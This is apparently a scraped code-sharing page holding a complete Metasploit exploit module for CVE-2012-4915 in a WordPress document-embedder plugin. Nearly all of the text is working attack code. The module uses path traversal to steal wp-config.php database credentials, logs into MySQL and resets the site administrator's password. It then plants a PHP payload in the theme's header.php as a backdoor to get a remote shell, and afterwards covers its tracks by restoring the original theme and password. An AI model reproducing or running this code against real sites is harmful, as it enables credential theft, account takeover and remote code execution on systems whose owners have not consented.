扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rbmysql' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure', 'Description'=> %q{ This module exploits an arbitrary file disclosure flaw in the WordPress blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL server is exposed on a accessible IP and WordPress has filesystem write access. Please note: The admin password may get changed if the exploit does not run to the end. }, 'Author' => [ 'Charlie Eriksen', ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2012-4915'], ['OSVDB', '88891'], ['URL', 'http://secunia.com/advisories/50832'], ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true, 'Compat'=> { 'ConnectionType' => 'find', }, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 03 2013', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']), OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']), OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']), OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' plugins_uri = String.new(uri) plugins_uri << datastore['PLUGINSPATH'] plugins_uri << '/' if plugins_uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{plugins_uri}google-document-embedder/libs/pdf.php", }) if res and res.code == 200 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' plugins_uri = String.new(uri) plugins_uri << datastore['PLUGINSPATH'] plugins_uri << '/' if plugins_uri[-1,1] != '/' admin_uri = String.new(uri) admin_uri << datastore['ADMINPATH'] admin_uri << '/' if plugins_uri[-1,1] != '/' themes_uri = String.new(uri) themes_uri << datastore['THEMESPATH'] themes_uri << '/' if plugins_uri[-1,1] != '/' print_status('Fetching wp-config.php') res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{plugins_uri}google-document-embedder/libs/pdf.php", 'vars_get' => { 'fn' => "#{rand_text_alphanumeric(4)}.pdf", 'file' => "#{'../' * plugins_uri.count('/')}wp-config.php", } }) if res and res.body =~ /allow_url_fopen/ fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled') elsif res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end config = parse_wp_config(res.body) if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) } fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly") end begin @mysql_handle = ::RbMysql.connect({ :host => config['DB_HOST'], :port => config['DB_PORT'], :read_timeout => 300, :write_timeout=> 300, :socket => nil, :user => config['DB_USER'], :password => config['DB_PASSWORD'], :db => config['DB_NAME'] }) rescue Errno::ECONNREFUSED, RbMysql::ClientError, Errno::ETIMEDOUT, RbMysql::AccessDeniedError, RbMysql::HostNotPrivileged fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server') end res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1") if res.nil? or res.size <= 0 fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found') end user = res.first new_password = rand_text_alphanumeric(8) @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'") print_warning("Admin password changed to: #{new_password}") admin_cookie = get_wp_cookie(uri, user[0], new_password) theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie) print_warning("Editing theme #{theme}") set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded) print_status("Calling backdoor") res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{themes_uri}#{theme}/header.php", }) if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content) @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'") print_status("Shell should have been acquired. Disabled backdoor") end def parse_wp_config(body) p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php") print_status("wp-config.php saved in: #{p}") print_status("Parsing config file") values = {} body.each_line do |line| if line =~ /define/ key_pair = line.scan(/('|")([^'"]*)('|")/) if key_pair.length == 2 values[key_pair[0][1]] = key_pair[1][1] end elsif line =~ /table_prefix/ table_prefix = line.scan(/('|")([^'"]*)('|")/) values['DB_PREFIX'] = table_prefix[0][1] end end #Extract the port from DB_HOST and normalize DB_HOST values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 if values['DB_HOST'] =~ /(localhost|127.0.0.1)/ print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP") values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) end return values end def get_wp_cookie(uri, username, password) res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{uri}wp-login.php", 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', 'vars_post'=> { 'log'=> username, 'pwd'=> password, 'wp-submit'=> 'Log+In', 'testcookie' => '1', }, }) if res and res.code == 200 fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed') elsif res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end admin_cookie = '' (res.headers['Set-Cookie'] || '').split(',').each do |cookie| admin_cookie << cookie.split(';')[0] admin_cookie << ';' end if admin_cookie.empty? fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty') end return admin_cookie end def get_wp_theme(admin_uri, admin_cookie) res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{admin_uri}theme-editor.php?file=header.php", 'cookie' => admin_cookie, }) if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0 fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access') end nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s)) theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s return [theme, nonce, old_content] end def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content) res = send_request_cgi({ 'method'=> 'POST', 'uri' => "#{admin_uri}theme-editor.php?", 'cookie'=> admin_cookie, 'vars_post' => { '_wpnonce' => nonce, 'theme'=> theme, 'newcontent' => new_content, 'action' => 'update', 'file' => 'header.php' }, }) if res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end end end |
体验盒子
